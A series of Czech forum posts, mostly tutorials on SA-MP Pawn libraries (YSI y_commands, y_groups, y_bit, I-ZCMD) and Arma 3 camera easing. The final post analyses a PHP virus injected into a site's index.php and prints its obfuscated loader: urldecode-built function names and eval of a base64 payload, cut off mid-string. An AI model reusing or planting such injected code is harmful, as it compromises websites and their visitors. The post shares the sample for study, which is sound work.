  14. YSI_Visual\y_commands + YSI_Players\y_groups ***** V tomto návodě se hodí ukázat obojí, protože oba includy z knihovny můžou být výborně spojené, ale zároveň lze použít pouze ycmd. y_groups je právě takové rozšíření na skupiny a levely(příklad podobnosti: oprávnění z Minecraftu). Jestliže se někdo chce naučit YSI, tak doporučuji si k ruce vzít také tento topic, protože obsahuje většinu kódu, na který je zaměřen i tento návod. Začneme y_commands. Nejdříve si načteme include z knihovny samozřejmě: #include <YSI_Visual\y_commands> A následně, jeho volání příkazů je poměrně snadné, příklad: YCMD:prikaz(playerid, params[], help) { //Sample code return 1; } S tím, že argumenty jsou jasné a to playerid pro hráče co příkaz zavolal, params[] pro parametry a help, to si ukážeme za chvilku. Pozor! Každý příkaz se MUSÍ vracet přes hodnotu 0 či 1. Nikdy true či false. Je to z důvodu, že každý příkaz má několiko vlastních návratových hodnot(později si ukážeme ve funkci). Argument help je argument, ktery se vyvolá poté, co hráč za příkaz napíše znak '?', příklad "help ?" nebo "kick ?". Do podmínky se vkláda tak, že znak hráč napsal správně(ostatní je klasifikované jako parametry). Ukázka použití: #include <YSI_Server\y_colours> YCMD:tajnyprikaz(playerid, params[], help) { if (help) return SendClientMessage(playerid, X11_YELLOW1, "Tento příkaz ti dá všechna práva !"); return 1; } Pokud ale máte raději starý dobrý i-zcmd / zcmd styl, tak to y_commands ho také podporuje a to: CMD:name(playerid, params[]) { // Sample code return 1; } Návod a více informací: Akorát jediná nevýhoda je, že nepodporuje následný argument help. Takže, jestliže ho někdo chcete používát, musí i použít formu YCMD. A kdo je nadšenec do zcmd, tak ví, že při nepoužívání params, tento argument lze vynechat. To bohužel y_commands nepodporuje(to samé s argumentem help). Dále y_commands obsahuje i možnosti alternativních příkazů. Jsou dva způsoby, a to původní starý ve funkci OnGameModeInit() / OnFilterScriptInit() / OnScriptInit(): #include <YSI_Server\y_scriptinit> public OnScriptInit() { Command_AddAltNamed("primarni", "sekundarni"); return 1; } A nebo novější a zajímavější metoda a to rovnou nad příkaz do kódu: YCMD:statistiky(playerid, params[], help) = stats; YCMD:stats(playerid, params[], help) { //Sample code return 1; } Pokud jde o y_groups: Jak jistě víme, že jedna z možností, jak kontrolovat, jestliže má hráč oprávnění můžeme podmínkou v každém příkazu, příklad: #include <YSI_Server\y_colours> YCMD:me(playerid, params[], help) { if (!IsPlayerAdmin(playerid)) return SendClientMessage(playerid, X11_RED, "Nemáš dostatečné Admin oprávnění!"); // Sample code return 1; } Teď to zkusíme s y_groups. Nejdříve si samozřejmě nahrajeme include z knihovny: #include <YSI_Players\y_groups> Dále si deklarujeme samotnou skupina. Každá skupina má vlastní tag, stejně jako u y_bit/y_playerarray: new Group:Admins; Ale pozor. Samotná proměnná, tedy skupina teď sama o sobě nic není, přesnějí je takzvaně UNDEF a nebude správně fungovat, dokud si jí nevytvoříme opět ve funkci OnGameModeInit() / OnFilterScriptInit() / OnScriptInit(): #include <YSI_Server\y_scriptinit> public OnScriptInit() { Admins = Group_Create(); return 1; } Funkce Group_Create() má ještě jeden argument a to jméno. Jde o jméno, které pak vrací jiná funkce(o ní později) a jde o jméno, které bude mít každý vlastnít dané skupiny (jestliže to uživatel nastaví). Můžeme jí tedy nastavit nejen jméno ale také i barvu. A jméno ani nemusíme nastavovat při vytváření. Můžeme si ho nastavit později dle sebe: public OnScriptInit() { Admins = Group_Create("Admin"); Group_SetColour(Admins, X11_RED); /*** A NEBO ***/ Admins = Group_Create(); Group_SetName(Admins, "Admin"); Group_SetColour(Admins, X11_RED); Teď, následně jméno skupiny můžeme dostat pomocí funkce Group_GetName(), příklad použití: #include <YSI_Coding\y_va> new Group:gPlayers; YCMD:skupina(playerid, params[], help) { if (Group_IsValid(gPlayers) == false) return SendClientMessage(playerid, -1, "Tato skupina není validní!"); if (Group_GetPlayer(gPlayers, playerid) == true) va_SendClientMessage(playerid, X11_YELLOW1, "Jsi ve skupině %s", Group_GetName(gPlayers)); else return SendClientMessage(playerid, -1, "Nejsi v této skupině!"); return 1; } A y_groups mají ještě jedno zajímavou funkci a to: public OnScriptInit() { gPlayers = Group_Create(); Group_SetGlobalGroup(gPlayers, true); Jde o funkci, která danou skupinu nastaví jako defaultní, teda všichni kdo se připojí, i ti co přijdou na serveru po prvé, tak se jím automaticky nastaví. Do takové skupiny se právě hodí hráči jako základ. A teď zpět ke y_commands. Jak jsem říkal, oba includy lze výborně propojit. Jedna taková funkce je způsob, který defaultně všem zakáže všechny příkazy: Group_SetGlobalCommandDefault(false); A teď jsou dva způsoby, jak povolovat/zakazovat příkazy. 1. Povolit/zakázat všechny příkazy určité skupině: // Povolí celé skupině Group_SetCommandDefault(jmenoSkupiny, ALLOW); // Zakáže celé skupině Group_SetCommandDefault(jmenoSkupiny, DENY); Poznámka: V původní verzi YSI, se namísto ALLOW/DENY používalo true/false. Y_Less říká, že vám to pravděpodobně bude také fungovat, nicméně, více doporučuje používat ALLOW/DENY, hlavně protože boolean styl vám vyhodí stejně varování o tagu, více zde. 2. Povolit/zakázat určitý příkaz celé určité skupině. Group_SetCommand(jmenoSkupiny, YCMD:prikaz, ALLOW); Group_SetCommand(jmenoSkupiny, YCMD:prikaz, DENY); Nezapomenout používat tag YCMD: u jmén příkazů. A teď nemusíme neustále používat podmínku u každého příkazu na oprávnění. A nebo pokud se nechceme upsat k smrti funkcema, lze použít i zajímavější metoda: GROUP_ADD<jmenoSkupiny> { @YCMD:help; @YCMD:stats; @YCMD:vip; @YCMD:credits; } Hráči se daná skupina nastaví pomocí funkci Group_SetPlayer(). Příklad použití: new Group:gPlayers, Group:gDeathMatch; public OnScriptInit() { gPlayers = Group_Create(); Group_SetGlobalGroup(gPlayers, true); gDeathMatch = Group_Create(); Group_SetCommandDefault(gPlayers, ALLOW); Group_SetCommandDefault(gDeathMatch, DENY); Group_SetCommand(jmenoSkupiny, YCMD:leave, ALLOW); return 1; } YCMD:tymcerveny(playerid, params[], help) { // Sample code SendClientMessage(playerid, X11_GREEN, "Připojil ses do Team DeathMatch!"); Group_SetPlayer(gDeathMatch, playerid, true); return 1; } Jestliže použijeme y_groups ke y_commands, tak se nám také otevírá další možnost návratové hodnoty u příkazu a to, jestliže právě nemá dostatečné oprávnění. Stejně jako i-zcmd, tak i y_commands mají na to vlastní funkci a to: public e_COMMAND_ERRORS:OnPlayerCommandReceived(playerid, cmdtext[], e_COMMAND_ERRORS:success) { if(success == COMMAND_DENIED) { SendClientMessage(playerid, X11_RED, "Nemáš dostatečné oprávnění!"); return COMMAND_OK; } if(success == COMMAND_UNDEFINED) { SendClientMessage(playerid, X11_WHITE, "Tento příkaz neexistuje! Zkus použít /help"); return COMMAND_OK; } return COMMAND_OK; } A návratové hodnoty u příkazů/ve funkci můžou být následujicí: // Příkaz vrátil 0. COMMAND_ZERO_RET = 0 , // Příkaz se správně zavolal. COMMAND_OK = 1 , // Příkaz neexistuje COMMAND_UNDEFINED = 2 , // Nemá oprávnění na příkaz. COMMAND_DENIED = 3 , // Také nemá oprávnění + nedá dát znát, že existuje. COMMAND_HIDDEN = 4 , // Příkaz použil hráč, který by neměl existovat. COMMAND_NO_PLAYER = 6 , // Všechny příkazy jsou deaktivované pro totoho hráče. COMMAND_DISABLED = 7 , // Použit například '/' namísto '#'. COMMAND_BAD_PREFIX = 8 , // Nenapsal správně příkaz jako '/neco' COMMAND_INVALID_INPUT = 10, Hlavní topic - odkaz
  15. MASIVNÍ POUŽITÍ KNIHOVNY ***** V tomto díle nepůjde ani tak moc o návod, jako spíše o ukázku, že velkou většinu částí/includů ze knihovny lze aplikovat a tvořit s její pomocí prakticky cokoliv a obsahuje skoro cokoliv. Nějakou dobu jsem přemýšlel, jak to nejlepé předvést a tak mě napadlo napsat takovou menší ukázku Admin scriptu s použitím co nejvíce možností z knihovny, jak to je jen možné. Situace je následujicí, použil jsem: y_hooks pro hookované funkce, y_va pro již vytvořené formátované funkce zpráv, y_timers pro lepší práci s timery, y_inline pro práci s funkcí volanou ve fci, y_commands pro příkazy a parametry, y_dialog pro práci s dialogy a abych nepotřeboval nastavovat ID, y_ini pro ukládání údajů o hráči, y_colours protože obsahuje skoro 4000 barev jak pro zprávy tak i pro obyčejné použití, y_scriptinit pro speciální fci která se vyvolá jak ve FS tak i ve GM, y_utils pro doplňkové fce jako například právě zjištění nicku ReturnPlayerName(), y_iterate pro lepší práci s cykly, y_playerarray pro komprimaci paměti boolean proměnných, y_groups pro práci s oprávněním a skupinama. A vytvořil následujicí kód: Kdyby si náhodou někdo myslel, že jsem si ten kód jen vycucal z prstů a nelze to kompilovat, tak zde : https://ctrlv.link/shots/2020/12/27/33IK.png Pouze varování a to nevyužití jednoho makra, ale to lze snadno vyřešit či ignorovat. Několik poznámek ohledně kódu Jelikož plánuji udělat na zbytek includů z knihovny individuální návod, nebudu zde popisovat o čem přesně jsou, nebo co přesně dělají, ale: Bohužel, funkce při čtení souboru nemají návratovou hodnotu vyčtené informace. To znamená, že pro nastavení boolean je zapotřebí si deklarovat proměnnou new bool:hodnota která načtenou informací vše nastaví. Při načítání jsme nemuseli zjišťovat jestliže je hráč, protože pak zjišťujeme jestliže není VIP či Admin, a obě možnosti můžou vyjít jako nepravé, takže lze nastavit rovnou Group_SetPlayer(gPlayer, playerid, true), že s určitostí patří mezi hráče. Příkaz setalevel má alternativní příkaz setlevel. YCMD mají hned několik možných návratových hodnot. To znamená, že není dobrý nápad používat boolean návratovou hodnotu true/false ale pouze čísla a to 1 nebo 0. Hookované fce jsou jen pouze, kdybych místo scriptu z toho udělal include. A také se zavolají dříve než public. Proměnná IsAdmin neni nic více než jen pro rozlišení jestliže je admin a aby mohl příkaz setalevel. Při hookování OnPlayerDisconnect, jsem musel použít jiné "id" hooku, protože původní už je někde použité v knihovně. y_bit/y_playerarray - Odkaz y_hooks - Odkaz y_timers - Odkaz Hlavní topic - Odkaz
  16. YSI_Data\y_bit ***** Prolog: Dá se říct, že celá YSI ohledně této tématiky má tři hlavní kategorie a to y_bit, y_playerarray, y_jaggedarray. y_bit je include z knihovny pro komprimaci paměti boolean proměnných. Pak jeho odvozenina je y_playerarray, což je prakticky to samé, nicméně s jediným rozdílem a to, že má jiný tag při deklaraci, ale použití je identické(spíše pro rozeznání). A třetí je y_jaggedarray, pomocí něhož lze přeskupit velikosti ve 2D poli a jejich buněk(nicméně jeho použití spadá už do obtížnosti ****). y_bit je výborně hodí, jestliže používáte spousty boolean polí. Problém u proměnných typu int a boolean je, že oba využivají stejný počet paměti, i když u boolean lze mít pouze dvě možné výsledné hodnoty a to 1(true) nebo 0(false). Někteří si můžou říct, že při těch pár proměnných není třeba nic šetřit. Jenže, v momentě, kdy je makro #MAX_PLAYERS 500 a uživatel proměnnou s ním deklaruje hned několikrát, tak už to může být problém. Při tvorbě příkladů jsem využil novou YSI5. Y_Less v návodě na instalaci uvadí, aby uživatelé použili sampctl. Nicméně, je i varianta pro uživatele bez toho a to zde: [klik] Pro použivání y_bit je nejdříve zapotřebí si ho nahrát: #include <YSI_Data\y_bit> Pozor. Jestliže, chcete používat i y_playerarray, musí se načíst i y_bit, protože obsahuje většinu fcí pro něj. #include <YSI_Data\y_bit> #include <YSI_Data\y_playerarray> A následná deklarace(ano, deklaruje se v ostrých závorkách): new BitArray:varX<ind>; // varX = jméno pole // ind = velikost pole, dále jinak jako "slot" new PlayerArray:AdminLevel<MAX_PLAYERS>; // AdminLevel = jméno pole // MAX_PLAYERS = velikost pole, dále jinak jako "slot" y_bit(a y_playerarray) mají následujicí základní funkce, které si každou individuálně vysvětlíme: Bit_Get(BitArray:array<>, slot); Bit_Set(BitArray:array<>, slot, bool:set); Bit_Let(BitArray:array<>, slot); Bit_Vet(BitArray:array<>, slot); Bit_SetAll(BitArray:array<>, bool:set); Bit_Get(); Vrátí boolean hodnotu dle toho, jaký má daný slot. Příklad: new BitArray:varA<256>; if (Bit_Get(varA, 100) == true) { print("Tanto bunka je true !"); } Bit_Set(); Nastaví danému slotu danou boolean hodnotu. Příklad: new BitArray:varA<256>; if (Bit_Get(varA, 32) == true) { print("Chyba, správně by měla být false!"); Bit_Set(varA, 32, false); } if (Bit_Get(varA, 128) == false) { print("Chyba, správně by měla být true!"); Bit_Set(varA, 128, true); } Bit_Let(); a Bit_Vet(); Jde vlastně o podobné funkce s tím rozdílem, že u Bit_Let() se nastaví hodnota na true, mezitím co u Bit_Vet() hodnotu na false. Obě fce jsou o trochu rychlejší než Bit_Set(). Příklad: new BitArray:varA<256>; if (Bit_Get(varA, 32) == true) { print("Chyba, správně by měla být false!"); Bit_Vet(varA, 32); } if (Bit_Get(varA, 128) == false) { print("Chyba, správně by měla být true!"); Bit_Let(varA, 128); } Bit_SetAll(); Jde o funkci, která nastaví u všech buňěk danou boolean hodnotu. Hodí se například u nastavení různých nutných null u hráče či serveru. Příklad: new BitArray:varA<256>; new i = 0; while (i < sizeof(varA)) { Bit_Vet(varA, i); i++; } // Tak tohle celé je zbytečné, protože stačí: Bit_SetAll(varA, false); Využití Tak to je celkém široké, protože jde víceméně o náhražku proměnné boolean, nicméně pár využití by tu bylo: Prostý AFK script: #include <YSI_Data\y_bit> #include <YSI_Data\y_playerarray> new PlayerArray:IsAfk<MAX_PLAYERS>; #include <YSI_Visual\y_commands> YCMD:afk(playerid, params[], help) { // Jestliže ještě není afk: if (Bit_Get(IsAfk, playerid) == false) { Bit_Let(IsAfk, playerid); SendClientMessage(..., "Nyní jsi AFK, pro navrácení napiš /afk"); TogglePlayerControllable(playerid, false); // Jestliže ale už afk je: }else{ Bit_Vet(IsAfk, playerid); SendClientMessage(..., "Vrátil ses zpět do hry."); TogglePlayerControllable(playerid, true); } return 1; } Prostý Event script s typem Admin Portu: #include <a_samp> #include <YSI_Data\y_bit> #include <YSI_Data\y_playerarray> new BitArray:EventPort<MAX_PORT_TYPES>; new PlayerArray:OnEvent<MAX_PLAYERS>; #include <YSI_Visual\y_commands> YCMD:event(playerid, params[], help) { if (getPlayerAdminLevel(playerid) > LEVEL_PLAYER) { Bit_Let(EventPort, strval(params)); // Nastaví se typ eventu } if (Bit_Get(OnEvent, playerid) == true) { return SendClientMessage(..., "Už jsi na eventu !"); } if (Bit_Get(EventPort, 0) == true) { // Na event se lze portnout pouze s vozidlem } if (Bit_Get(EventPort, 1) == true) { // Na event se lze portnout pouze bez vozidla } if (Bit_Get(EventPort, 2) == true) { // Na event se lze portnout pouze s určitým modelem vozidla } if (Bit_Get(EventPort, 3) == true) { // Tento event je TDM/DM } if (Bit_Get(EventPort, 4) == true) { // Tento event je závod } Bit_Let(OnEvent, playerid); // A pošleme ho na event, jestliže vše projde v pořádku return 1; } YCMD:koneceventu(playerid, params[], help) { Bit_SetAll(EventPort, false); Bit_SetAll(OnEvent, false); // Sample code return 1; } Scydovy YSI návody - Hlavní topic: odkaz
  17. Zdravíčko přátelé - možná jste někdy ve svém módu řešili animace, interpolaci, či jakýkoliv plynulý pohyb předmětu či čehokoliv jiného. Dá se samozřejmě přes lineární konverzi (jejíž algoritmus najdeme ve všech jazykových podobách na internetu) zařídit ostrý pohyb z bodu A do bodu B. Pokud ale chceme zajistit plynulejší pohyb s rozjezdem a dojezdem - tedy zrychlením a zpomalením, které nebije tolik do očí - je potřeba upravit chování naší lineární konverze tak, aby buď rovnou pracovala na algoritmu, který toto bere v potaz, případně můžeme toto nasimulovat pomocí nástrojů nám svěřených. Nejdříve si ukážeme "hack" verzi - tedy pro mě jako absolutního nematikáře - absolutní začátek a experiment celé pseudofunkce. Příklad si uvedeme ve hře Arma 3, pro pohyb kamery v cutscéně. Arma 3 nám nabízí funkce pro lineární pohyb kamery z bodu A do bodu B - ostrou cestou. Tím je myšleno, že po spuštění funkce se kamera fixní rychlostí přesune z jejího dosavadního bodu do bodu zadaný v parametru funkce v čase také zadaném v parametru funkce: _cam = "camera" camCreate [0,0,0]; //Vytvořit kameru na pozici [0,0,0] _cam cameraEffect ["internal","back"]; //Přepnout obraz hráče do této kamery _cam camPreparePos [10,10,10]; //připravit přesun na pozici [10,10,10] _cam camCommitPrepared 5; //přesun trvá 5s Vizuálně takový přesun je sice použitelný, nicméně není plynulý a strašně neuhlazený (hlavně při pohybu na více bodů v řadě). Double LERP Ukážeme si ten nejjednodušší způsob, který vymyslí hlavně nematikář - za pomocí lineárního pohybu, který arma nabízí, můžeme nasimulovat rozjezd a dojezd pomocí zdvojeného lerpování (linearní interpolace, kterou obstará příkaz camCommitPrepared). //Používáme globální proměnné pro zviditelnění kamer pro skript na EachFrame V_cam = "camera" camCreate [0,0,0]; //Vytvořit kameru na pozici [0,0,0] V_cam cameraEffect ["internal","back"]; //Přepnout obraz hráče do této kamery V_camPos = "camera" camCreate [0,0,0]; //Vytvoří kameru využitou na pozadí pro výpočet lineráního přesunu kamery V_camLerp = addMissionEventHandler ["EachFrame", //Vytvoříme unscheduled environment spuštěný na každém vykresleném snímku { _T_pos = getPosASL V_camPos; //Vezmeme si ASL pozici kamery pro přesun _C_pos = getPosASL V_cam; //Vezmeme si ASL pozici vizuální kamery _T_pos = vectorLinearConversion [0,1,0.1,_C_pos, _T_pos]; //Provedeme lineární konverzi (lerp) s progressem 0..0.1..1 (toto zajistí efekt akcelerace) V_cam camPreparePos (ASLToATL _T_pos); //Nastavíme výslednou (interpolovanou) pozici V_cam camCommitPrepared 0; }]; V_camPos camPreparePos [10,10,10]; //připravit přesun na pozici [10,10,10] V_camPos camCommitPrepared 5; //přesun trvá 5s sleep 5.1; //Počkáme 5s na přesun kamery + 0.1s na dokončení akcelerace naší vizuální kamery removeMissionEventHandler ["EachFrame", V_camLerp]; //Zničíme lerpovací skript Můžeme si samozřejmě napsat kompletní funkci, která využije příkaz vectorLinearConversion dvakrát a obejde tím rovnou vytvoření druhé kamery a příkaz camCommitPrepared pro přesouvací kameru. Pro jednoduchost a čitelnost skriptu (a variabilitu) jsem předal funkci takto Pro práci s pohybem kamery (resp. pro relevantní výpočty a manipulace) využívám výhradně pozici ve tvaru ASL (Above Sea Level), protože při interpolaci ATL (Above Terrain Level) kamera při přesunu skáče dle toho jestli pod sebou zrovna nemá kopeček, či díru (proto zjišťuji polohy ASL a poté překládám do ATL při nastavení pozice samotné kamery - příkaz pracuje s ATL pozicemi a sám interpoluje na ASL) Interpolace pomocí algoritmu Tou "správnou" cestou by měla být pravá matematická interpolace se zahrnutím easingu už v algoritmu. Existuje mnoho různých algoritmu na ty samé pohyby - ať už jde jen o zrychlení, jen o zpomalení, či oboje - na vše je několik variant. Ukážeme si jenom tu základní - na zbytek uvádím silný zdroj: http://gizma.com/easing/ _posA = [0,0,0]; //Nastavení bodů _posB = [10,10,10]; _startTime = time; //Nastavení výchozího času a délky průběhu _endTime = _startTime + 5; //+5s _eh = addMissionEventHandler ["EachFrame", { _progress = linearConversion [_startTime, _endTime, time, 0, 1, true]; //Převod průběhu času na range 0..1 s clamp _progress = _progress * _progress * (3 - 2 * _progress); //https://www.wolframalpha.com/input/?i=x+*+x+*+%283+-+2+*+x%29 (křivka pro easing-inout) _curPos = vectorLinearConversion [0,1,_progress, _posA, _posB]; //Vlastní výpočet bodu na trase (interpolace s easingem) }]; sleep 5; //Celý pohyb i s akcelerací bude probíhat přesně 5s removeMissionEventHandler ["EachFrame", _eh]; Kdo chce bejt absolutní fajnšmejkr, tak tu má ještě funkci pro lineární interpolaci (i když ji skoro každej engine i samotný jazyk nabízí už v nějaké matematické třídě) func_myLerp = { params ["_A", "_B", "_progress"]; //Parametry funkce _progress = _progress max 0 min 1; //Clamp na range 0..1 (_A + (_B - _A) * _progress); };
  18. I-ZCMD Obsah: Úvod I-ZCMD Vytváření příkazů Funkce includu Tipy a triky Příklady Závěr 1. Úvod: V tomto návodu se podíváme na práci s příkazovým systémem I-ZCMD. Konkrétně tedy probereme vytváření příkazů, používání funkcí includu a nějaké tipy. 2. I-ZCMD Příkazový systém I-ZCMD vytvořil Yashas, jako reakci na neaktuálnost ZCMD, z kterého také vychází. Jedná se o aktuálnější, optimalizovanější a rychlejší ZCMD. Stáhnout jej můžete na tomto githubu. Návod se bude držet aktuálního I-ZCMD, ale většina informací platí i k ZCMD od Zeexe. 3. Vytváření příkazů Příkazy můžeme vytvářet hned několika způsoby a to COMMAND:nazev_prikazu(playerid, params[]) { //další kód } CMD:nazev_prikazu(playerid, params[]) { //další kód } command(nazev_prikazu, playerid, params[]) { //další kód } cmd(nazev_prikazu, playerid, params[]) { //další kód } nazev_prikazu – váš název příkazu bez lomítka (kill, pm, admins). playerid – id hráče, který odeslal příkaz. params[] - text, který hráč napsal za samotný příkaz. Parametry jsou od názvu příkazu oddělené mezerou. pozn. V příkazech při vrácení 0 (CMD_FAILURE) a nepoužití OnPlayerCommandPerformed se vypíše hláška "UNKNOWN COMMAND". Doporučuji tedy vracet 1 (CMD_SUCCESS). V samotném scriptu nepoužíváme OnPlayerCommandText (I-ZCMD ho již zahrnuje), protože se stejně nezavolá. Místo této funkce zde máme dvě funkce, na které se nyní podíváme. 4. Funkce includu V I-ZCMD se narozdíl od ZCMD tyto funkce volají přímo. To je jednou z optimalizací, kterou tento systém prošel (ZCMD využívá funkci CallLocalFunction, která je více časově náročná). . ● OnPlayerCommandReceived(playerid, cmdtext[]) je plnou náhražkou za OnPlayerCommandText a má stejné parametry. Funkce se volá před samotným procesem zpracování a volání zadaného příkazu. Vrácením 0 můžeme ukončit zpracování příkazu, ale nebude vypsána hláška "UNKNOWN COMMAND". ● OnPlayerCommandPerformed(playerid, cmdtext[], success) je další ze zmiňovaných dvou funkcí. Narozdíl od předešle, se tato funkce volá až po zavolání našeho příkazu. Funkce má stejné parametry, ale jeden zde přibyl. Hodnota success odpovídá vrácené hodnotě funkce CallLocalFunction (pokud příkaz existuje, odpovídá vrácené hodnotě v daném příkazu). Díky tomuto parametru si tedy můžeme kontrolovat, zda příkaz existuje, proběhl v pořádku a podobně. Vrácení 0 v této funkci vypíše hlášku "UNKNOWN COMMAND". 5. Tipy a triky ● I-ZCMD není defaultně case-sensitive. Znamená to tedy, že příkaz "/prikaz" a "/PRIKAZ" vyvolá stejnou funkci, avšak tuto vlastnost můžeme změnit následující definicí (nelze u ZCMD). #define IZCMD_ENABLE_CASE_SENSITIVITY . ● Narozdíl od ZCMD, se nehookuje OnFilterScriptInit/OnGameModeInit, a proto nijak neřešíme definici FILTERSCRIPT. . ● Pokud chceme zjistit, zda hráč nezadal parametry, využijeme k tomu isnull (součástí includu). Viz spoiler. . ● Příkaz můžeme vyvolat odkudkoliv následujícím způsob (za playerid a params si dosadíme příslušné hodnoty) cmd_nazev_prikazu(playerid, params); Tímto způsobem můžeme jednoduše vytvořit mnoho příkazů, které provádějí stejné akce. 6. Příklady ● Jednoduchý příkaz na zabití hráče (bez parametrů). COMMAND:kill(playerid, params[]) { SetPlayerHealth(playerid, 0); return 1; } . ● Jednoduchý příkaz (s parametrem), ukázka použití isnull a chybová hláška. CMD:say(playerid, params[]) { if(isnull(params)) return SendClientMessage(playerid, -1, "Použití: /say [zpráva]"); new str[145]; GetPlayerName(playerid, str, MAX_PLAYER_NAME); format(str, sizeof str, "%s říká: %s", str, params); SendClientMessageToAll(str); return 1; } . ● Vlastní text místo "UNKNOWN COMMAND". public OnPlayerCommandPerformed(playerid, cmdtext[], success) { if(!success) return SendClientMessage(playerid, 0xFF0000FF, "Příkaz neexistuje"); return 1; } . ● Zakázání příkazů danému hráči. public OnPlayerCommandReceived(playerid, cmdtext[]) { if(isMuted[playerid]) { SendClientMessage(playerid, 0xFF0000FF, "Máte zakázáno používání příkazů"); return 0; } return 1; } . 7. Závěr To by bylo k tomuto návodu o jednom z nejrychlejších příkazových systémů vše. Pokud máte nějaké otázky, připomínky, nebo máte cokoliv jiného na srdíčku, můžete dát vědět do komentářů. Ověřený návod Tento návod prošel validací, a lze ho proto považovat za ověřený.
  19. Zdravíčko přátelé, tak mě zase po delší době potkala milá věc - PHP virus, injektovaný do index.php webové aplikace. Prozatím ještě nevíme, jakým způsobem se útočníkovi povedlo prolámat se dovnitř a vložit do indexu vlastní kód, nicméně jsem alespoň rozlámal "šifrování" tohoto viru a rád bych se s vámi podělil o výsledky k bádání a edukaci Šifrování kódu (jestli se tomu vůbec šifra dá říkat) bylo vskutku velmi jednoduché - několikrát opečený kód v base64_encode, pomocí eval zase rozbalený. Kód byl ovšem psaný na PHP verzi 5.6 a na PHP 7+ není funkční, útočník tedy nespáchal žádnou škodu, kromě několika hodin vypadlého webu, než si někdo všiml že to vlastně nejede. (Hlásil error 500) Celý inject vypadal takto: <?php @set_time_limit(3600); @ignore_user_abort(1); $xmlname = 'mapss281_285_289_291_new.xml'; $dt = 0; $sitemap_file = 'sitemap'; $mapnum = 2000; $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iVFN1SndocnBCdm1uQVZHS0xPY1dOalFpWHlsVUN0Z3NGWkVQWW9EcWFNa0h4emZkZWJSSXhoYXBGWE1UU3lidHV3T25Dek5CQWRLSW9ja1FZamxMVmlEc1BlZm1nR3ZScXJIV1pVRUpzZjlGZ1J1bGZLZXZnYkVUTkl1OUpZTnR6RjBucE9YMFdSU0hXMndJSmYwbHAyWDBXUnV0ekYwbmdCUGVnb0FIZ1JFME5SR2VuaGs3ZktlbHBPWDBXUnVsc2h1dGdSRTBOUkd0ekYwbkhCd0xOMnc3ZktlbHBPWDBXUnVsc2h1dGdSRTBOWU43ZktUOWZLZXZOMjExTmJrSFdPMUZKZjBsTjIxY2lvVjFpb0EwbzN3Y2dobFR6RjBuZ0JQZXBSQWpXb3BUbzNFak5mMDlwY05UWkYwbkpZdWxKWUVyVW93Y2d3OTBVb3U5cGM4dHpGMG5ISzBucFJHbHNodXRQSU5hcDJWcml4UHRDSU4wbzJRdENJV2FQMjl2aWhON2ZLZXZOMjExTmJ2bHNodXZOY2x2TjIxMU5ia0hXTzFGbnhMQVliaTFVYkEwZ0I5YUpSQWpOYndxV0J3cldWOTFOYnZlbm9MQVlJdWxKWVNUaUl1ZWdvQXJpb0tlcFY5eEV3cEJFd3BVcDFwVlF3d1ZRMUVId3dwcHAxMFRub0xBWUl1bEpZdWxKWXVscFJBaldvcFRKZjBscFY5eEV3cEJFd3BVcDFwVlF3d1ZRMUVId3dwcHAxMDdmS2VsSll1bEhCd0xOMnc3ZktlbEpZdWxKWXVsSk9rYm5Pa3JOMncwbllFSFEwd2h3dndoQmNXWE5iVzJwMTBUbm9MQVlJdWxKWXVsSll1bEpZdWxKWUVyVW93Y2dodTlKWUVIUTB3aHd2d2hCY1dLaFZTSFEwd0dFSVdXSlk0bHByOHRKWTRscFY5eEV3cEJFd3BVcDJWY2kzUHRvd0xGb3hMQVlJdWxKWXVsSll1bEhCd0xOMnc3ZktlbEpZdWxKWXVsSll1bEpZdXZOMjExTmJ2bHNodXZvMUFWUWtpVlFrTHRRRFhLbzFBVnhEUHRvaHVhSllOL3BjdWFKWUVIUTB3aHd2d2hCY1dFd1F3aEJ3OXh3VnBweHZOdG94TEFZSXVsSll1bEpZdWxISzBuSll1bEpSMEFZSXVsSllTY2lvRTFOYjRscFJBaldvcFR6RjBuSEswbnBPV3lXMndJSmYwbHAyRTBnT2tjV1J2amlCa3RnUktjQ3RBVGkyaXlaT2l5V0I1dlBvRVRVMjV0Q3RBZVUzdXR6RjBucFJTWE4zQTNVM3B2SmYwbFVCSzFuTzF2QWhYdXBWOVJFd0VVcDNTdnAxMFRueExBWWJrYkpZbHZOT1ZyTjNXeU5iS2xzeDBscHJ3YlBiUHJBYlAyUGRERkFyU1hpQkcyQUJQRkdPQUl6T1FyQUJHNVAyRzBwY3ZsWkYwbkpZdWxKWUVYaU9FSFAyOWFXT3dhV1l1OUpEdXZvMFdWd1ZMdFVCVkZVYlZqaWhXV3pGMG5KWXVsSllFWFAzRVRVMjRsc2hTdXBWOVJFd0VVcDJWZFdPa3lVSVdXekYwbkpZdWxKWUV2VTIxWGdCNGxzaFN1cFY5UkV3RVVwMkV5VUJWVFVJV1d6RjBuSll1bEpPa2JuWUV2VTIxWGdCNFRaRjBuSll1bEpZdWxKWXV2Z085cldZdTlKWUV2VTIxWGdCNDdmS2VsSll1bEhCd0xOMnc3ZktlbEpZdWxKWXVsSllFZVUzQTBKZjBscFY5eEV3cEJFd3BVcDBYUXdWU0hoRDl4d1lXV3pGMG5KWXVsSlIwQVlJdWxKWXV5Q2NFZVUzQTBKZjBscFY5eEV3cEJFd3BVcDBYUXdWU0hoRDl4d1lXV3pGMG5KWXVsSllFRlBvRWVKZjBsaU9rY1ViVmppaFhIbzBpcHhEd0hvY3Y3ZktlbEpZdWxnQlBlcE9WZFdPa3lVZDA5cDNTVFViTnRub0xBWUl1bEpZdWxKWXVsQ2M5ZVdSRUZOcmV5QzNXM1djNXRVMjl0VU9RYVAyOWpDM1NUVWJOL04yazBpQjFYTmYxZVdSRUZOcmV5QzJ3NFBCMUZVT1FhUDI5akMzQVRXT3dqUG91YVpPMUxmS2VsSll1bEpZdWxKT2tiblJBME50QTBOSWx2UEJFdm8yQXlVd